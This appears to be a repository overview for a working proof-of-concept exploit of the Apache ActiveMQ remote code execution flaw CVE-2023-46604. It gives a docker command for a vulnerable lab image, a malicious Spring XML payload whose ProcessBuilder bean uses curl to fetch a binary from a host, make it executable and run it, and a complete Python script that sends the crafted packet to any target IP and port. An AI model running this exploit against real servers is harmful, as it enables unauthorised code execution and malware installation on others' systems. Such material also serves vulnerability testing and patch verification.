ordar/activemq_cve-2023-46604 repository overview

docker run -d -p 61616:61616  --name mq vulhub/activemq:5.17.3 ordar/activemq_cve-2023-46604

# 将poc.xml部署到http服务(Deploy on your vps)
python3 -m http.server
# 发送poc
python3 CVE-2023-46604.py -i target_ip -p target_port --xml http://vps_ip:8000/poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>curl -s -o test.elf http://172.17.0.1:8000/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

import socket
import binascii
import argparse


def banner():
    print("""
                     _
         _   _ _ __ | | ___ __   _____      ___ __        ___  ___  ___
        | | | | '_ \| |/ / '_ \ / _ \ \ /\ / / '_ \ _____/ __|/ _ \/ __|
        | |_| | | | |   <| | | | (_) \ V  V /| | | |_____\__ \  __/ (__
         \__,_|_| |_|_|\_\_| |_|\___/ \_/\_/ |_| |_|     |___/\___|\___|

    """)


def string2hex(s):
    return binascii.hexlify(s.encode()).decode()


def int2hex(i, n):
    if n == 4:
        return f"{i:04x}"
    elif n == 8:
        return f"{i:08x}"
    else:
        raise ValueError("n must be 4 or 8")


def main(ip, port, xml):
    banner()
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
    message = xml

    header = "1f00000000000000000001"
    body = f"{header}01{int2hex(len(class_name), 4)}{string2hex(class_name)}01{int2hex(len(message), 4)}{string2hex(message)}"
    payload = int2hex(len(body) // 2, 8) + body
    data = binascii.unhexlify(payload)

    print(f"[+] Target: {ip}:{port}")
    print(f"[+] Poc XML: {xml}\n")
    print(f"[+] Sending packet: {payload}")

    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.connect((ip, int(port)))
    conn.sendall(data)
    conn.close()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ActiveMQ RCE PoC")
    parser.add_argument("-i", "--ip", required=True, help="ActiveMQ Server IP or Host")
    parser.add_argument("-p", "--port", default="61616", help="ActiveMQ Server Port")
    parser.add_argument("--xml", required=True, help="rce xml url")
    args = parser.parse_args()
    main(args.ip, args.port, args.xml)